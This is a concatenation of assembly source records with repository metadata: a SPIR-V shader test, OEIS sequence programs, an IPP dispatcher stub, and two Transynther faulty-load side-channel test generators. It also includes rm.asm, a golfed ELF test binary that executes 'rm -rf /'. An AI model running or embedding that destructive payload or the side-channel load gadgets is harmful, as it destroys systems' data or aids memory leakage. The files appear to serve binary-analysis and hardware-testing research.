coverage/IN_CTS/0436-COVERAGE-nir-lower-vars-to-ssa-650/work/variant/1_spirv_asm/shader.frag.asm
|
asuonpaa/ShaderTests
|
6a3672040dcfa0d164d313224446496d1775a15e
|
[
"Apache-2.0"
] | 4
|
2021-03-09T13:37:19.000Z
|
2022-02-25T07:32:11.000Z
|
; SPIR-V
; Version: 1.0
; Generator: Khronos Glslang Reference Front End; 10
; Bound: 82
; Schema: 0
OpCapability Shader
%1 = OpExtInstImport "GLSL.std.450"
OpMemoryModel Logical GLSL450
OpEntryPoint Fragment %4 "main" %58
OpExecutionMode %4 OriginUpperLeft
OpSource ESSL 320
OpName %4 "main"
OpName %9 "func("
OpName %12 "v"
OpName %16 "buf0"
OpMemberName %16 0 "_GLF_uniform_float_values"
OpName %18 ""
OpName %28 "a"
OpName %43 "indexable"
OpName %58 "_GLF_color"
OpName %60 "buf1"
OpMemberName %60 0 "_GLF_uniform_int_values"
OpName %62 ""
OpDecorate %15 ArrayStride 16
OpMemberDecorate %16 0 Offset 0
OpDecorate %16 Block
OpDecorate %18 DescriptorSet 0
OpDecorate %18 Binding 0
OpDecorate %58 Location 0
OpDecorate %59 ArrayStride 16
OpMemberDecorate %60 0 Offset 0
OpDecorate %60 Block
OpDecorate %62 DescriptorSet 0
OpDecorate %62 Binding 1
%2 = OpTypeVoid
%3 = OpTypeFunction %2
%6 = OpTypeFloat 32
%7 = OpTypeVector %6 2
%8 = OpTypeFunction %7
%11 = OpTypePointer Function %7
%13 = OpTypeInt 32 0
%14 = OpConstant %13 2
%15 = OpTypeArray %6 %14
%16 = OpTypeStruct %15
%17 = OpTypePointer Uniform %16
%18 = OpVariable %17 Uniform
%19 = OpTypeInt 32 1
%20 = OpConstant %19 0
%21 = OpTypePointer Uniform %6
%24 = OpConstant %13 1
%25 = OpTypePointer Function %6
%27 = OpTypePointer Function %19
%29 = OpConstant %19 2
%30 = OpConstant %19 1
%38 = OpConstant %13 3
%39 = OpTypeArray %7 %38
%42 = OpTypePointer Function %39
%52 = OpTypeBool
%56 = OpTypeVector %6 4
%57 = OpTypePointer Output %56
%58 = OpVariable %57 Output
%59 = OpTypeArray %19 %14
%60 = OpTypeStruct %59
%61 = OpTypePointer Uniform %60
%62 = OpVariable %61 Uniform
%63 = OpTypePointer Uniform %19
%4 = OpFunction %2 None %3
%5 = OpLabel
%48 = OpFunctionCall %7 %9
%49 = OpCompositeExtract %6 %48 1
%50 = OpAccessChain %21 %18 %20 %20
%51 = OpLoad %6 %50
%53 = OpFOrdEqual %52 %49 %51
OpSelectionMerge %55 None
OpBranchConditional %53 %54 %77
%54 = OpLabel
%64 = OpAccessChain %63 %62 %20 %20
%65 = OpLoad %19 %64
%66 = OpConvertSToF %6 %65
%67 = OpAccessChain %63 %62 %20 %30
%68 = OpLoad %19 %67
%69 = OpConvertSToF %6 %68
%70 = OpAccessChain %63 %62 %20 %30
%71 = OpLoad %19 %70
%72 = OpConvertSToF %6 %71
%73 = OpAccessChain %63 %62 %20 %20
%74 = OpLoad %19 %73
%75 = OpConvertSToF %6 %74
%76 = OpCompositeConstruct %56 %66 %69 %72 %75
OpStore %58 %76
OpBranch %55
%77 = OpLabel
%78 = OpAccessChain %63 %62 %20 %30
%79 = OpLoad %19 %78
%80 = OpConvertSToF %6 %79
%81 = OpCompositeConstruct %56 %80 %80 %80 %80
OpStore %58 %81
OpBranch %55
%55 = OpLabel
OpReturn
OpFunctionEnd
%9 = OpFunction %7 None %8
%10 = OpLabel
%12 = OpVariable %11 Function
%28 = OpVariable %27 Function
%43 = OpVariable %42 Function
%22 = OpAccessChain %21 %18 %20 %20
%23 = OpLoad %6 %22
%26 = OpAccessChain %25 %12 %24
OpStore %26 %23
OpStore %28 %29
%31 = OpAccessChain %21 %18 %20 %30
%32 = OpLoad %6 %31
%33 = OpCompositeConstruct %7 %32 %32
%34 = OpAccessChain %21 %18 %20 %30
%35 = OpLoad %6 %34
%36 = OpCompositeConstruct %7 %35 %35
%37 = OpLoad %7 %12
%40 = OpCompositeConstruct %39 %33 %36 %37
%41 = OpLoad %19 %28
OpStore %43 %40
%44 = OpAccessChain %11 %43 %41
%45 = OpLoad %7 %44
OpReturnValue %45
OpFunctionEnd
| 35.793651
| 61
| 0.495344
|
f1ee19099853669a3261dee3d1229f4c31052657
| 201
|
asm
|
Assembly
|
programs/oeis/245/A245761.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/245/A245761.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/245/A245761.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A245761: Numbers with a maximal multiplicative persistence of 1 in any base.
; 0,1,2,3,4,5,6,7,9,12
mov $1,2
lpb $0
add $1,$0
mov $2,22
sub $2,$0
div $2,2
trn $0,$2
lpe
sub $1,2
mov $0,$1
| 14.357143
| 78
| 0.606965
|
ccf85f6a7ea6bb1d60389025799ffcc792fc003b
| 2,829
|
asm
|
Assembly
|
test_binaries/golfclub/rm.asm
|
BinaryResearch/Lepton
|
16bcdb356b72bcb7501d9ae32c05115108996690
|
[
"MIT"
] | 17
|
2020-01-12T01:27:59.000Z
|
2022-02-22T11:08:31.000Z
|
test_binaries/golfclub/rm.asm
|
BinaryResearch/Lepton
|
16bcdb356b72bcb7501d9ae32c05115108996690
|
[
"MIT"
] | null | null | null |
test_binaries/golfclub/rm.asm
|
BinaryResearch/Lepton
|
16bcdb356b72bcb7501d9ae32c05115108996690
|
[
"MIT"
] | 3
|
2020-07-22T07:29:10.000Z
|
2022-03-31T07:52:30.000Z
|
; rm -rf / in 93 bytes.
BITS 64
org 0x100000000
;---------------------+------+-------------+------------------------------------------+
; Code Listing | OFFS | ASSEMBLY | CODE COMMENT |
;---------------------+------+-------------+------------------------------------------+
db 0x7F, "ELF" ; 0x0 | 7f454c46 | Elf Magic Value
_start: ; | |
mov rbx, 0x2f2066722d206d72 ; | rm -rf / in reverse
jmp short woop ; 0x0E | eb 3c | Then onto the rest of our code
dw 2 ; 0x10 | 02 00 | e_type
dw 0x3e ; 0x12 | 3e 00 | e_machine
dd 1 ; 0x14 | 01 00 00 00 | e_version
dd _start - $$ ; 0x18 | 04 00 00 00 | e_entry
phdr: ; | |-- Begin Program Header
dd 1 ; 0x1C | 01 00 00 00 | [PHDR] p_type
dd phdr - $$ ; 0x20 | 1C 00 00 00 | [EHDR] e_phoff [PHDR] p_flags
dd 0 ; 0x24 | 00 00 00 00 | [PHDR] p_offset
dd 0 ; 0x28 | 00 00 00 00 | [EHDR] e_shoff
dq $$ ; 0x2C | 00 00 00 00 | [PHDR] p_vaddr
; 0x30 | 01 00 00 00 | [EHDR] e_flags
dw 0x40 ; 0x34 | 40 00 | [EHDR] e_ehsize [PHDR] p_addr
dw 0x38 ; 0x36 | 38 00 | [EHDR] e_phentsize
dw 1 ; 0x38 | 01 00 | [EHDR] e_phnum
dw 2 ; 0x3A | 02 00 | [EHDR] e_shentsize
execy: ; | |-- Begin execve syscall
add al, 0x3b ; 0x3C | 043b | execve syscall
syscall ; 0x3E | 0f05 | Call kernel
dd 0 ; 0x40 | | [PHDR] p_filesz
add al, 0x3b ; 0x44 | 043b | execve syscall
syscall ; 0x46 | 0f05 | Call kernel
dd 0 ; 0x48 | 00 00 00 00 | [PHDR] p_memsz
woop: ; | |-- Begin connect syscall
;--- execve -------------------------------------------------------------------------
xor rax, rax ; 4831c0 | make 0 3
push rbx ; 53 | push this string to the stack
mov rdi, rsp ; 4889e7 | move pointer to the string to rdi
push rax ; 50 | push a 0
mov rdx, rsp ; 4889e2 | push pointer to 0 to rdx
push rdi ; 57 | push /bin//sh string to stack
mov rsi, rsp ; 4889e6 | move pointer to it to rsi
jmp short execy ; eb8d | Back up into program headers
| 64.295455
| 90
| 0.366914
|
a4c47d7e18c3b4d7f7a2c1343aa38a84a9db7a33
| 5,816
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_857.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_857.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_857.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x1d6fe, %rsi
lea addresses_UC_ht+0xc7f8, %rdi
nop
add %rax, %rax
mov $121, %rcx
rep movsw
nop
nop
nop
dec %r15
lea addresses_A_ht+0xc340, %rax
nop
nop
nop
nop
nop
cmp %rdx, %rdx
movl $0x61626364, (%rax)
nop
nop
nop
cmp %rdx, %rdx
lea addresses_WC_ht+0xc64, %rcx
nop
nop
nop
sub $60999, %r10
mov $0x6162636465666768, %rdx
movq %rdx, (%rcx)
nop
nop
xor $5643, %rcx
lea addresses_WC_ht+0x108b, %rdx
nop
nop
nop
nop
xor %rcx, %rcx
movb $0x61, (%rdx)
nop
xor $62865, %rsi
lea addresses_WT_ht+0x2d0b, %rsi
nop
add %r15, %r15
mov $0x6162636465666768, %rcx
movq %rcx, %xmm5
movups %xmm5, (%rsi)
add $49490, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %rax
push %rbp
push %rbx
push %rdi
push %rsi
// Store
lea addresses_A+0x28e0, %rbp
nop
nop
and $16528, %rsi
movw $0x5152, (%rbp)
nop
nop
nop
cmp %rbp, %rbp
// Load
lea addresses_RW+0xf80, %rbp
nop
nop
nop
sub $9856, %r11
mov (%rbp), %rsi
nop
nop
cmp %rbx, %rbx
// Load
lea addresses_UC+0xb900, %r11
nop
nop
nop
nop
add $58682, %rbx
mov (%r11), %r12d
sub $22310, %rsi
// Faulty Load
lea addresses_D+0x1900, %rbp
nop
nop
nop
nop
nop
cmp $16367, %rax
mov (%rbp), %r11w
lea oracles, %rax
and $0xff, %r11
shlq $12, %r11
mov (%rax,%r11,1), %r11
pop %rsi
pop %rdi
pop %rbx
pop %rbp
pop %rax
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 10, 'same': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 5, 'same': True, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 39.033557
| 2,999
| 0.655089
|
ff16ed09cf95427a0b06355bf3e79a477b0ed4db
| 690
|
asm
|
Assembly
|
oeis/248/A248658.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/248/A248658.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/248/A248658.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A248658: G.f.: Sum_{n>=0} x^n * Sum_{k=0..n} binomial(n,k)^3 * x^(2*k).
; Submitted by Jon Maiga
; 1,1,1,2,9,28,66,153,433,1345,3952,10991,30954,90988,271845,804153,2361457,6979690,20842285,62493914,187274712,561448399,1688263179,5093148285,15393417178,46570446829,141063389488,427979185898,1300470246165,3956367018001,12048354848013,36728336040306,112080195093961,342358080962380,1046671140705922,3202502138636897,9806343645459093,30050519829254713,92152133070970242,282779174283463893,868286193970504288,2667720799658897008,8201033820104234275,25225250691571938929,77629977596502817515
lpb $0
sub $0,2
add $2,1
mov $3,$0
bin $3,$2
pow $3,3
add $1,$3
lpe
add $1,1
mov $0,$1
| 46
| 490
| 0.794203
|
b6dfb9257bbf73c5a016237e0331a86e0049c00a
| 1,229
|
asm
|
Assembly
|
_build/dispatcher/jmp_ippsECCPGetSizeStd192r1_e530da88.asm
|
zyktrcn/ippcp
|
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
|
[
"Apache-2.0"
] | 1
|
2021-10-04T10:21:54.000Z
|
2021-10-04T10:21:54.000Z
|
_build/dispatcher/jmp_ippsECCPGetSizeStd192r1_e530da88.asm
|
zyktrcn/ippcp
|
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
|
[
"Apache-2.0"
] | null | null | null |
_build/dispatcher/jmp_ippsECCPGetSizeStd192r1_e530da88.asm
|
zyktrcn/ippcp
|
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
|
[
"Apache-2.0"
] | null | null | null |
extern m7_ippsECCPGetSizeStd192r1:function
extern n8_ippsECCPGetSizeStd192r1:function
extern y8_ippsECCPGetSizeStd192r1:function
extern e9_ippsECCPGetSizeStd192r1:function
extern l9_ippsECCPGetSizeStd192r1:function
extern n0_ippsECCPGetSizeStd192r1:function
extern k0_ippsECCPGetSizeStd192r1:function
extern ippcpJumpIndexForMergedLibs
extern ippcpSafeInit:function
segment .data
align 8
dq .Lin_ippsECCPGetSizeStd192r1
.Larraddr_ippsECCPGetSizeStd192r1:
dq m7_ippsECCPGetSizeStd192r1
dq n8_ippsECCPGetSizeStd192r1
dq y8_ippsECCPGetSizeStd192r1
dq e9_ippsECCPGetSizeStd192r1
dq l9_ippsECCPGetSizeStd192r1
dq n0_ippsECCPGetSizeStd192r1
dq k0_ippsECCPGetSizeStd192r1
segment .text
global ippsECCPGetSizeStd192r1:function (ippsECCPGetSizeStd192r1.LEndippsECCPGetSizeStd192r1 - ippsECCPGetSizeStd192r1)
.Lin_ippsECCPGetSizeStd192r1:
db 0xf3, 0x0f, 0x1e, 0xfa
call ippcpSafeInit wrt ..plt
align 16
ippsECCPGetSizeStd192r1:
db 0xf3, 0x0f, 0x1e, 0xfa
mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc]
movsxd rax, dword [rax]
lea r11, [rel .Larraddr_ippsECCPGetSizeStd192r1]
mov r11, qword [r11+rax*8]
jmp r11
.LEndippsECCPGetSizeStd192r1:
| 31.512821
| 119
| 0.820993
|
75c5a954c23e9e93d55ed5bb2e0035f77c647d4d
| 6,400
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_982.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_982.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_982.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r8
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0xe063, %rsi
lea addresses_D_ht+0x1b317, %rdi
clflush (%rsi)
nop
nop
nop
and $38662, %r8
mov $94, %rcx
rep movsw
nop
nop
nop
and %rdx, %rdx
lea addresses_UC_ht+0xa963, %r14
nop
nop
nop
nop
nop
and %r13, %r13
movb (%r14), %cl
nop
nop
and %r13, %r13
lea addresses_UC_ht+0xd063, %rsi
lea addresses_WT_ht+0x14763, %rdi
clflush (%rdi)
dec %r9
mov $20, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp $24466, %r13
lea addresses_D_ht+0x99e3, %r13
nop
nop
nop
nop
nop
sub $42704, %r9
vmovups (%r13), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %rdi
nop
nop
nop
add $48845, %r8
lea addresses_A_ht+0x1d8ab, %rsi
lea addresses_WC_ht+0xcd63, %rdi
cmp $48109, %r14
mov $12, %rcx
rep movsb
nop
nop
dec %r13
lea addresses_WT_ht+0x5963, %rsi
lea addresses_D_ht+0x245d, %rdi
nop
nop
nop
xor $3503, %r9
mov $102, %rcx
rep movsq
nop
nop
nop
nop
add %r13, %r13
lea addresses_A_ht+0x19ac3, %rsi
lea addresses_UC_ht+0x1cd63, %rdi
nop
nop
nop
nop
xor $52713, %r8
mov $27, %rcx
rep movsb
nop
nop
xor $24722, %r14
lea addresses_UC_ht+0x14cb, %rcx
nop
nop
cmp $1498, %r14
movw $0x6162, (%rcx)
nop
nop
nop
nop
sub $49757, %r8
lea addresses_WC_ht+0x1f8f, %rdi
nop
nop
nop
nop
nop
add $48394, %rsi
mov $0x6162636465666768, %r8
movq %r8, %xmm1
movups %xmm1, (%rdi)
xor $29832, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r14
push %r9
push %rcx
// Faulty Load
lea addresses_UC+0x13163, %r9
nop
nop
nop
nop
sub $25008, %rcx
movups (%r9), %xmm1
vpextrq $0, %xmm1, %r13
lea oracles, %r10
and $0xff, %r13
shlq $12, %r13
mov (%r10,%r13,1), %r13
pop %rcx
pop %r9
pop %r14
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_UC', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 5, 'type': 'addresses_normal_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC_ht', 'congruent': 11}}
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_UC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 3}}
{'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}}
{'dst': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 10, 'type': 'addresses_WT_ht'}}
{'dst': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_A_ht'}}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC_ht', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WC_ht', 'congruent': 2}, 'OP': 'STOR'}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
| 36.781609
| 2,999
| 0.66125
|
